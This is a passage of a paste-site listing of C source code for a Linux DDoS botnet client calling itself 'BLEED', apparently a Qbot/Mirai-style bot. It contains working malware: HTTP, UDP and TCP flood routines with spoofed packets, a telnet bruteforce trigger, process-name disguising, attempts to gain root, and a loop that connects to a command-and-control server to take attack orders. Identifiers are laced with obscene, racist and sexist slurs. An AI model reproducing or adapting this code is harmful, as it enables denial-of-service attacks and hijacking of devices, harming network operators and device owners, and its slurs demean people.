  1148.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  1149.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  1150.         "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  1151.         "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  1152.     };
  1153.     char request[2048], buffer[1];
  1154.     for (i = 0; i < power; i++) {
  1155.         sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", adhawudhawd, adhq278dyhqd, host, blackguywithawhitecock[(rand() % 13)]);
  1156.         if (fork()) {
  1157.             while (end > time(NULL)) {
  1158.                 socket = awdj218eu29duada(host, port);
  1159.                 if (socket != 0) {
  1160.                     write(socket, request, strlen(request));
  1161.                     read(socket, buffer, 1);
  1162.                     close(socket);
  1163.                 }
  1164.             }
  1165.             exit(0);
  1166.         }
  1167.     }
  1168. }
  1169.  
  1170. /*
  1171.   _______   _______   _______   _______   _______   _______   _______
  1172.  |   _   | |   _   \ |   _   | |   _   | |   _   | |   _   | |   _   |
  1173.  |.  1   | |.  l   / |.  |   | |.  1___| |.  1___| |   1___| |   1___|
  1174.  |.  ____| |.  _   1 |.  |   | |.  |___  |.  __)_  |____   | |____   |
  1175.  |:  |     |:  |   | |:  1   | |:  1   | |:  1   | |:  1   | |:  1   |
  1176.  |::.|     |::.|:. | |::.. . | |::.. . | |::.. . | |::.. . | |::.. . |
  1177.  `---'     `--- ---' `-------' `-------' `-------' `-------' `-------'
  1178.  
  1179. */
  1180.  
  1181. void fuckinghugec0ck(int argc, unsigned char *argv[]) {
  1182.         if(!strcmp(argv[0], "PING")) { // SIMPLY PING-PONG REQUEST
  1183.                 return;
  1184.         }
  1185.         if(!strcmp(argv[0], "TRIGGERED")) { // START THE TELNET BRUTEFORCE
  1186.         uint32_t parent;
  1187.         parent = fork();        
  1188.         int ii = 0;
  1189.         int forks = sysconf( _SC_NPROCESSORS_ONLN ); // RETURNS PROCESSORS ONLINE
  1190.         int fds = 999999;
  1191.         if(forks == 1) fds = 500;
  1192.         if(forks >= 2) fds = 1000;
  1193.         if (parent > 0) { scanPid = parent; return;}
  1194.         else if(parent == -1) return;
  1195.         for (ii = 0; ii < forks; ii++) { srand((time(NULL) ^ getpid()) + getppid()); init_rand(time(NULL) ^ getpid()); fuckfatpeople(100, fds); _exit(0); } }
  1196.         if (!strcmp(argv[0], "HTTPFLOOD")) { // HTTPFLOOD GET||HEAD||POST IP PORT / TIME POWER
  1197.             if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  1198.             if (listFork()) return;
  1199.             dj28d9usad(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1200.             exit(0);
  1201.         }
  1202.         if(!strcmp(argv[0], "UDPFLOOD")) { // UDPFLOOD TARGET PORT TIME PACKETSIZE POLLINTERVAL
  1203.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1)) {
  1204.                         return;
  1205.                 }
  1206.                 unsigned char *ip = argv[1];
  1207.                 int port = atoi(argv[2]);
  1208.                 int time = atoi(argv[3]);
  1209.                 int packetsize = atoi(argv[4]);
  1210.                 int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);
  1211.                 int spoofed = 32;
  1212.                 if(strstr(ip, ",") != NULL) {
  1213.                         unsigned char *hi = strtok(ip, ",");
  1214.                         while(hi != NULL) {
  1215.                                 if(!listFork()) {
  1216.                                         l0ld0ngs(hi, port, time, packetsize, pollinterval, spoofed);
  1217.                                         _exit(0);
  1218.                                 }
  1219.                                 hi = strtok(NULL, ",");
  1220.                         }
  1221.                 } else {
  1222.                         if (listFork()) { return; }
  1223.                         l0ld0ngs(ip, port, time, packetsize, pollinterval, spoofed);
  1224.                         _exit(0);
  1225.                 }  
  1226.         }
  1227.         if(!strcmp(argv[0], "TCPFLOOD")) {  // TCPFLOOD TARGET PORT TIME FLAGS PACKETSIZE POLLINTERVAL
  1228.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1)){
  1229.                         return;
  1230.                 }
  1231.                 unsigned char *ip = argv[1];
  1232.                 int port = atoi(argv[2]);
  1233.                 int time = atoi(argv[3]);
  1234.                 unsigned char *flags = argv[4];
  1235.                 int pollinterval = argc == 7 ? atoi(argv[6]) : 10;
  1236.                 int packetsize = argc > 5 ? atoi(argv[5]) : 0;
  1237.                 int spoofed = 32;
  1238.                 if(strstr(ip, ",") != NULL) {
  1239.                         unsigned char *hi = strtok(ip, ",");
  1240.                         while(hi != NULL) {
  1241.                                 if(!listFork()) {
  1242.                                         d0ggyd1ckz(hi, port, time, flags, packetsize, pollinterval, spoofed);
  1243.                                         _exit(0);
  1244.                                 }
  1245.                                 hi = strtok(NULL, ",");
  1246.                         }
  1247.                 } else  {
  1248.                         if (listFork()) { return; }
  1249.                         d0ggyd1ckz(ip, port, time, flags, packetsize, pollinterval, spoofed);
  1250.                         _exit(0);
  1251.                         }
  1252.         }
  1253.         if(!strcmp(argv[0], "HUGFLOOD")) { // HUGFLOOD TARGET PORT TIME
  1254.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) {
  1255.                         return;
  1256.             }
  1257.             unsigned char *ip = argv[1];
  1258.             int port = atoi(argv[2]);
  1259.             int time = atoi(argv[3]);
  1260.             if(strstr(ip, ",") != NULL) {
  1261.                         unsigned char *hi = strtok(ip, ",");
  1262.                         while(hi != NULL) {
  1263.                                 if(!listFork()) {
  1264.                                         l0lc0k3sda(hi, port, time);
  1265.                                         _exit(0);
  1266.                                 }
  1267.                                 hi = strtok(NULL, ",");
  1268.                         }
  1269.                 } else {
  1270.                         if (listFork()) { return; }
  1271.                         l0lc0k3sda(ip, port, time);
  1272.                         _exit(0);
  1273.                 }
  1274.         }
  1275.         if(!strcmp(argv[0], "KILLALL")) {
  1276.                 int killed = 0;
  1277.                 unsigned long i;
  1278.                 for (i = 0; i < numpids; i++) {
  1279.                         if (pids[i] != 0 && pids[i] != getpid()) {
  1280.                                 kill(pids[i], 9);
  1281.                                 killed++;
  1282.                         }
  1283.                 }
  1284.                 if(killed > 0) {
  1285.                 } else {
  1286.                 }
  1287.         }
  1288.         if(!strcmp(argv[0], "DESTROYALL")) { // KILL ALL BOTS
  1289.                 exit(0);
  1290.         }
  1291. }
  1292. int fake_connection_wink_wink() {
  1293.     unsigned char server[512];
  1294.     memset(server, 0, 512);
  1295.     if(lots_of_random_shit) { close(lots_of_random_shit); lots_of_random_shit = 0; }
  1296.     if(big_fat_d1ckz + 1 == pornhub_rocks) big_fat_d1ckz = 0;
  1297.     else big_fat_d1ckz++;
  1298.     strcpy(server, vjqweuqwuds[big_fat_d1ckz]);
  1299.     int port = 13164;
  1300.     if(strchr(server, ':') != NULL) {
  1301.         port = atoi(strchr(server, ':') + 1);
  1302.         *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1303.     }
  1304.     lots_of_random_shit = socket(AF_INET, SOCK_STREAM, 0);
  1305.     if(!connectTimeout(lots_of_random_shit, server, port, 30)) return 1;
  1306.     return 0;
  1307. }
  1308. int main(int argc, unsigned char *argv[]) {
  1309.         char _det[] = "Detected";
  1310.         char _ourName[] = "BLEED:";
  1311.         const char* blow_me_bitch[] = {
  1312.             "/we/like/to/bleed",
  1313.             "/why/is/bleed/so/cute",
  1314.             "/justin/bieber/made/bleed",
  1315.             "/weed/and/bleed",
  1316.             "/dinnertime/with/bleed"
  1317.         };
  1318.         if(pornhub_rocks <= 0) return 0;
  1319.         strncpy(argv[0],"",strlen(argv[0]));
  1320.         argv[0] = "";
  1321.         prctl(PR_SET_NAME, (unsigned long) blow_me_bitch[(rand() % 5)], 0, 0, 0);
  1322.         srand(time(NULL) ^ getpid());
  1323.         init_rand(time(NULL) ^ getpid());
  1324.         pid_t pid1;
  1325.         pid_t pid2;
  1326.         int status;
  1327.         if (pid1 = fork()) { waitpid(pid1, &status, 0); exit(0); } else if (!pid1) { if (pid2 = fork()) { exit(0); } else if (!pid2) { } else { } } else { }
  1328.         chdir("/");            
  1329.         setuid(0);             
  1330.         seteuid(0);
  1331.         signal(SIGPIPE, SIG_IGN);
  1332.         while(1) {
  1333.                 if(fake_connection_wink_wink()) { sleep(5); continue; }
  1334.                 char commBuf[4096];
  1335.                 int got = 0;
  1336.                 int i = 0;
  1337.                 while((got = recvLine(lots_of_random_shit, commBuf, 4096)) != -1) {
  1338.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1339.                                 unsigned int *newpids, on;
  1340.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1341.                                 pids[on - 1] = 0;
  1342.                                 numpids--;
  1343.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1344.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1345.                                 free(pids);
  1346.                                 pids = newpids;
  1347.                         }
  1348.                         commBuf[got] = 0x00;
  1349.                         trim(commBuf);
  1350.                         if(strstr(commBuf, "PING") == commBuf) { // PING
  1351.                                 continue;
  1352.                         }
  1353.                         if(strstr(commBuf, "LOLSKEED") == commBuf) exit(0); // DUP
  1354.                         unsigned char *message = commBuf;
  1355.                         if(*message == '!') {
  1356.                                 unsigned char *nickMask = message + 1;
  1357.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1358.                                 if(*nickMask == 0x00) continue;
  1359.                                 *(nickMask) = 0x00;
  1360.                                 nickMask = message + 1;
  1361.                                 message = message + strlen(nickMask) + 2;
  1362.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1363.                                 unsigned char *command = message;
  1364.                                 while(*message != ' ' && *message != 0x00) message++;
  1365.                                 *message = 0x00;
  1366.                                 message++;
  1367.                                 unsigned char *tmpcommand = command;
  1368.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1369.                                 unsigned char *params[10];
  1370.                                 int paramsCount = 1;
  1371.                                 unsigned char *pch = strtok(message, " ");
  1372.                                 params[0] = command;
  1373.                                 while(pch) {
  1374.                                         if(*pch != '\n') {
  1375.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1376.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  1377.                                                 strcpy(params[paramsCount], pch);
  1378.                                                 paramsCount++;
  1379.                                         }
  1380.                                         pch = strtok(NULL, " ");
  1381.                                 }
  1382.                                 fuckinghugec0ck(paramsCount, params);
  1383.                                 if(paramsCount > 1) {
  1384.                                         int q = 1;
  1385.                                         for(q = 1; q < paramsCount; q++) {
  1386.                                                 free(params[q]);
  1387.                                         }
  1388.                                 }
  1389.                         }
  1390.                 }
  1391.         }
  1392.         return 0;
  1393. }
Advertisement
Add Comment
Please, Sign In to add comment